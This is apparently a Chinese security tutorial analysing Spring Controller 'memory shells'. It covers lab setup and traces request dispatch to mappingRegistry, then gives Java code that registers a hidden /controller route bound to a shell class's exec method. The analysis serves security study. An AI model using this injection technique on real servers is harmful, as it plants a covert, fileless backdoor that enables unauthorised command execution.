前言
此文旨在简单记录Spring内存马分析过程,在Spring框架里可作为内存马的有Controller和Interceptor,本文主要讲解Controller。
前置知识
开始前简单提及一些关于Spring框架的知识:
IOC容器
IOC容器是具有依赖注入功能的容器,负责实例化、定位、配置应用程序中的对象及建立这些对象间的依赖。应用程序无需直接在代码中new相关的对象,应用程序由IOC容器进行组装,在Spring中BeanFactory是IOC容器的实际代表者。
依赖注入
把有依赖关系的类放到容器中,解析出这些类的实例,就是依赖注入,其目的是为了实现类的解耦。
Bean
Bean是Spring框架的一个核心概念,它是构成应用程序的主干,并且是由Spring IOC容器负责实例化、配置、组装和管理的对象。简言之Bean就是对象,并由IOC容器进行统一管理,而Spring应用主要就是由一个个的 Bean构成的。
环境搭建
首先创建一个maven的web项目,在pom文件里面加入如下配置:
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-webmvc</artifactId>
<version>5.2.3.RELEASE</version>
</dependency>
<dependency>
<groupId>junit</groupId>
<artifactId>junit</artifactId>
<version>3.8.1</version>
<scope>test</scope>
</dependency>
<!-- 添加servlet -->
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>javax.servlet-api</artifactId>
<version>3.0.1</version>
<scope>provided</scope>
</dependency>
<dependency>
<groupId>org.apache.tomcat.embed</groupId>
<artifactId>tomcat-embed-core</artifactId>
<version>9.0.60</version>
</dependency>
然后再配置web.xml,加入DispatcherServlet相关配置。
DispatcherServlet的主要作用是处理传入的web请求,根据配置的URL pattern,将请求分发给正确的Controller和View。
<servlet>
<servlet-name>springmvc</servlet-name>
<servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>
<init-param>
<param-name>contextConfigLocation</param-name>
<param-value>classpath:springmvc.xml</param-value>
</init-param>
<load-on-startup>1</load-on-startup>
</servlet>
<servlet-mapping>
<servlet-name>springmvc</servlet-name>
<url-pattern>/</url-pattern>
</servlet-mapping>
然后在resources添加一个springmvc.xml文件,主要配置内容如下:
<!--配置注解机制-->
<mvc:annotation-driven/>
<!-- 配置⾃动扫描 -->
<context:component-scan base-package="cn.safe6.controller"/>
<!-- 视图解析器 -->
<bean class="org.springframework.web.servlet.view.InternalResourceViewResolver">
<!-- 前缀 -->
<property name="prefix" value="/WEB-INF/"></property>
<!-- 后缀 -->
<property name="suffix" value=".jsp"></property>
</bean>
最后在WEB-INF下随便加个jsp,写个Controller之后就可以直接把项目跑起来:
当访问index时,就返回index,然后前面配置的视图解析器就会到WEB-INF下去找对应的jsp文件。此时如果能看到输出hello world就说明环境搭建成功了。
原理分析
这里主要如有两种思路去分析:
通过DispatcherServlet入手:在前面说过,DispatcherServlet主要作用是处理web请求,我们只需要搞清楚其中的原理即可实现内存马;
通过分析具有路由功能的注解底层原理:熟悉springmvc或者springboot的可能会比较熟悉这些注解@RequestMapping、@Controller、@GetMapping。
下面我就用第一种方法进行分析:
首先在之前创建的Controller上打个断点:
然后向上回溯到DispatcherServlet。
首先我们通过前面前置知识了解到DispatcherServlet的主要作用是处理传入的web请求。
从下图可以看出进入DispatcherServlet的方法是doService,随后就把request,response传进doDispatch:
进入doDispatch后,会调用HandlerAdapter#handle方法处理传进来的request,response。
但是传入参数中多了一个Handler,这个Handler是干什么用的?
抱着这个疑问,再来看doDispatch的代码逻辑。跟进去之后发现Handler是用getHandler方法获取到的:
继续跟进,发现里面有个handlerMappings。随后会对handlerMappings进行遍历,再把request传进去取出对应的HandlerExecutionChain返回:
继续在此处打个断点,跟一下Handler是怎么获取的:
进来后发现又进入了getHandlerInternal,继续跟进:
进来后,发现会解析当前请求的路由,还会给mappingRegistry加锁:
简单看一下mappingRegistry,发现里面存的是路由信息,可以留意下这个对象:
继续往下走,进入了lookupHandlerMethod方法,发现确实是从mappingRegistry里面获取的路由,那么就可以对它下手了:
即现在只需知道,怎么往mappingRegistry添加路由就可执行内存马;先从这个方法里找下有没有相关方法,发现有个registerMapping,它的作用就是往mappingRegistry里面注册路由。
此时我们的目标就变成了,怎么获取到AbstractHandlerMethodMapping的实例。
由于当前这个类是抽象的、是不可能有实例的。继续看一下它的子类,发现了RequestMappingHandlerMapping可用,接下来就是实现内存马添加。
代码实现
Spring的内存马和tomcat的开始步骤都一样,就是获取上下文对象,只不过Spring获取的是spring上下文对象。
第一步:用工具类获取到上下文;
WebApplicationContext context = WebApplicationContextUtils.getWebApplicationContext(RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest()).getServletContext());
第二步:从ioc容器里面拿到RequestMappingHandlerMapping的实例对象;
RequestMappingHandlerMapping handlerMapping = context.getBean(RequestMappingHandlerMapping.class);
第三步:注册内存马,这里需要构造下registerMapping方法需要的参数,下图注入的路由是/Controller。
RequestMappingInfo requestMappingInfo = new RequestMappingInfo(new PatternsRequestCondition("/controller"),null,null,null,null,null,null);
Class shell = Class.forName("cn.safe6.controller.ShellController");
Method method = shell.getMethod("exec");
handlerMapping.registerMapping(requestMappingInfo,shell.newInstance(),method);
注入的shell如下:
最后创建一个方法,模拟内存马注入:
看下效果: